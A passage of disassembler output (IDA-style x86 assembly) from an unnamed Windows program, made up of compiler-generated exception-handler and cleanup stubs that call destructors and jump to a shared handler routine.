--------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DC7h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DF5h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E23h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E51h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0E7Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 10C7h jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 130Fh jmp sub_40208B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1557h jmp sub_40208B ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403720 proc near ; DATA XREF: sub_403720+2o mov eax, offset dword_43F4C0 jmp sub_437AB8 SEH_403720 endp ; --------------------------------------------------------------------------- db 0D6h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403C50 proc near ; DATA XREF: sub_403C50+2o mov eax, offset dword_43F700 jmp sub_437AB8 SEH_403C50 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392B8: ; DATA XREF: ___:0043F75Co mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403CE0 proc near ; DATA XREF: sub_403CE0+2o mov eax, offset dword_43F730 jmp sub_437AB8 SEH_403CE0 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4392E8: ; DATA XREF: ___:0043F794o mov ecx, [ebp-10h] add ecx, 1Eh jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403D60 proc near ; DATA XREF: sub_403D60+2o mov eax, offset dword_43F768 jmp sub_437AB8 SEH_403D60 endp ; --------------------------------------------------------------------------- db 13h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403DE0 proc near ; DATA XREF: sub_403DE0+2o mov eax, offset dword_43F7A0 jmp sub_437AB8 SEH_403DE0 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_439338: ; DATA XREF: ___:0043F7FCo mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403E50 proc near ; DATA XREF: sub_403E50+2o mov eax, offset dword_43F7D0 jmp sub_437AB8 SEH_403E50 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_401AE6 ; --------------------------------------------------------------------------- loc_4393B8: ; DATA XREF: ___:0043F85Co mov ecx, [ebp-10h] add ecx, 49h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 92h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 0DBh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 124h jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 16Dh jmp sub_401AE6 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 1B6h jmp sub_401AE6 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_403F30 proc near ; DATA XREF: sub_403F30+2o mov eax, offset dword_43F830 jmp sub_437AB8 SEH_403F30 endp ; --------------------------------------------------------------------------- db 1Dh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404010 proc near ; DATA XREF: sub_404010+2o mov eax, offset dword_43F890 jmp sub_437AB8 SEH_404010 endp ; --------------------------------------------------------------------------- db 2Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4394F8: ; DATA XREF: ___:0043F974o lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404690 proc near ; DATA XREF: sub_404690+2o mov eax, offset dword_43F948 jmp sub_437AB8 SEH_404690 endp ; --------------------------------------------------------------------------- db 1Bh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43957B: ; DATA XREF: ___:0043F9FCo lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439586: ; DATA XREF: ___:0043FA04o lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-11Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-14Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-100h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-134h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-164h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E8h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_404CC0 proc near ; DATA XREF: sub_404CC0+8o mov eax, offset dword_43F9D0 jmp sub_437AB8 SEH_404CC0 endp ; --------------------------------------------------------------------------- db 8Bh dup(0CCh) ; --------------------------------------------------------------------------- loc_439820: ; DATA XREF: ___:0043FBD4o lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-28h] and eax, 1 test eax, eax jz locret_43983E mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_43983E: ; CODE XREF: ___:00439830j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406730 proc near ; DATA XREF: sub_406730+2o mov eax, offset dword_43FBA8 jmp sub_437AB8 SEH_406730 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- loc_439860: ; DATA XREF: ___:0043FC0Co lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- mov eax, [ebp-198h] and eax, 1 test eax, eax jz locret_439884 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439884: ; CODE XREF: ___:00439876j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4068E0 proc near ; DATA XREF: sub_4068E0+2o mov eax, offset dword_43FBE0 jmp sub_437AB8 SEH_4068E0 endp ; --------------------------------------------------------------------------- db 11h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-454h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398AB: ; DATA XREF: ___:0043FC44o lea ecx, [ebp-43Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_4398B6: ; DATA XREF: ___:0043FC4Co lea ecx, [ebp-424h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_406C80 proc near ; DATA XREF: sub_406C80+8o mov eax, offset dword_43FC18 jmp sub_437AB8 SEH_406C80 endp ; --------------------------------------------------------------------------- db 15h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407080 proc near ; DATA XREF: sub_407080+2o mov eax, offset dword_43FC58 jmp sub_437AB8 SEH_407080 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4076B0 proc near ; DATA XREF: sub_4076B0+8o mov eax, offset dword_43FC88 jmp sub_437AB8 SEH_4076B0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+20h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439928: ; DATA XREF: ___:0043FCE4o lea ecx, [ebp+8] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_407740 proc near ; DATA XREF: sub_407740+8o mov eax, offset dword_43FCB8 jmp sub_437AB8 SEH_407740 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-2C4h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43994B: ; DATA XREF: ___:0043FD1Co lea ecx, [ebp-2DCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-174h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1A4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2ACh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-2F4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1D4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-204h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-294h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-84h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-234h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-264h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0E4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-15Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-114h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-18Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-144h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1BCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-27Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-1ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0CCh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-21Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0B4h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-9Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-330h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-318h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-34Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-348h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-12Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0FCh] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-350h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-2F8h] jmp sub_401226 ; --------------------------------------------------------------------------- mov ecx, [ebp-300h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_4077E0 proc near ; DATA XREF: sub_4077E0+2o mov eax, offset dword_43FCF0 jmp sub_437AB8 SEH_4077E0 endp ; --------------------------------------------------------------------------- db 0CFh dup(0CCh) dd 0E9C84D8Dh, 75C5574Dh db 71h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_409660 proc near ; DATA XREF: sub_409660+2o mov eax, offset dword_4400A0 jmp sub_437AB8 SEH_409660 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A370 proc near ; DATA XREF: sub_40A370+2o mov eax, offset dword_4400D0 jmp sub_437AB8 SEH_40A370 endp ; --------------------------------------------------------------------------- align 10h mov eax, [ebp-38h] and eax, 1 test eax, eax jz locret_439D86 mov ecx, [ebp+4] jmp sub_401226 ; --------------------------------------------------------------------------- locret_439D86: ; CODE XREF: ___:00439D78j retn ; --------------------------------------------------------------------------- loc_439D87: ; DATA XREF: ___:0044012Co lea ecx, [ebp-34h] jmp sub_401596 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40A510 proc near ; DATA XREF: sub_40A510+2o mov eax, offset dword_440100 jmp sub_437AB8 SEH_40A510 endp ; --------------------------------------------------------------------------- align 10h dd 90C84D8Dh, 0C556CCE9h db 75h ; --------------------------------------------------------------------------- loc_439DB9: ; DATA XREF: ___:0040AA32o mov eax, offset dword_440140 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40AEF0 proc near ; DATA XREF: sub_40AEF0+5o mov eax, offset dword_440170 jmp sub_437AB8 SEH_40AEF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B070 proc near ; DATA XREF: sub_40B070+5o mov eax, offset dword_4401D0 jmp sub_437AB8 SEH_40B070 endp ; --------------------------------------------------------------------------- align 10h mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439DFB: ; DATA XREF: ___:0044025Co mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B190 proc near ; DATA XREF: sub_40B190+2o mov eax, offset dword_440230 jmp sub_437AB8 SEH_40B190 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401023 ; --------------------------------------------------------------------------- loc_439E4B: ; DATA XREF: ___:004402A4o mov ecx, [ebp-10h] add ecx, 32h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 60h jmp sub_401023 ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 8Eh jmp sub_40155F ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B250 proc near ; DATA XREF: sub_40B250+2o mov eax, offset dword_440278 jmp sub_437AB8 SEH_40B250 endp ; --------------------------------------------------------------------------- db 17h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B2F0 proc near ; DATA XREF: sub_40B2F0+2o mov eax, offset dword_4402C0 jmp sub_437AB8 SEH_40B2F0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EC8: ; DATA XREF: ___:0044032Co lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40B510 proc near ; DATA XREF: sub_40B510+2o mov eax, offset dword_440300 jmp sub_437AB8 SEH_40B510 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439EF8: ; DATA XREF: ___:0040B6D2o mov eax, offset dword_440340 jmp sub_437AB8 ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F30: ; DATA XREF: ___:0040B9B8o mov eax, offset dword_440370 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C440 proc near ; DATA XREF: sub_40C440+2o mov eax, offset dword_4403B8 jmp sub_437AB8 SEH_40C440 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A78h] jmp loc_401B13 ; --------------------------------------------------------------------------- loc_439F7B: ; DATA XREF: ___:00440414o lea ecx, [ebp-0A3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439F86: ; DATA XREF: ___:0044041Co lea ecx, [ebp-0A54h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-0A3Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40C4E0 proc near ; DATA XREF: sub_40C4E0+8o mov eax, offset dword_4403E8 jmp sub_437AB8 SEH_40C4E0 endp ; --------------------------------------------------------------------------- db 1Ah dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CBF0 proc near ; DATA XREF: sub_40CBF0+2o mov eax, offset dword_440430 jmp sub_437AB8 SEH_40CBF0 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-260h] jmp loc_40228E ; --------------------------------------------------------------------------- loc_439FEB: ; DATA XREF: ___:0044048Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_439FF6: ; DATA XREF: ___:00440494o lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A001: ; DATA XREF: ___:0044049Co lea ecx, [ebp-278h] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A00C: ; DATA XREF: ___:004404A4o lea ecx, [ebp-278h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CC90 proc near ; DATA XREF: sub_40CC90+8o mov eax, offset dword_440460 jmp sub_437AB8 SEH_40CC90 endp ; --------------------------------------------------------------------------- db 1Fh dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A04B: ; DATA XREF: ___:004404DCo mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40CF40 proc near ; DATA XREF: sub_40CF40+2o mov eax, offset dword_4404B0 jmp sub_437AB8 SEH_40CF40 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] add ecx, 4 jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A07B: ; DATA XREF: ___:00440514o mov ecx, [ebp-10h] add ecx, 19h jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A086: ; DATA XREF: ___:0040CFC2o mov eax, offset dword_4404E8 jmp sub_437AB8 ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-3Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-24h] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D210 proc near ; DATA XREF: sub_40D210+2o mov eax, offset dword_440520 jmp sub_437AB8 SEH_40D210 endp ; --------------------------------------------------------------------------- db 16h dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-16Ch] jmp sub_401226 ; --------------------------------------------------------------------------- loc_43A0EB: ; DATA XREF: ___:00440594o lea ecx, [ebp-184h] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-19Ch] jmp sub_401226 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn SEH_40D660 proc near ; DATA XREF: sub_40D660+2o mov eax, offset dword_440568 jmp sub_437AB8 SEH_40D660 endp ; --------------------------------------------------------------------------- db 1Eh dup(0CCh) ; --------------------------------------------------------------------------- lea ecx, [ebp-5ECh] jmp sub_401226 ; --------------------------------------------------------------------------- lea ecx, [ebp-6ACh] jmp sub_401226 ; 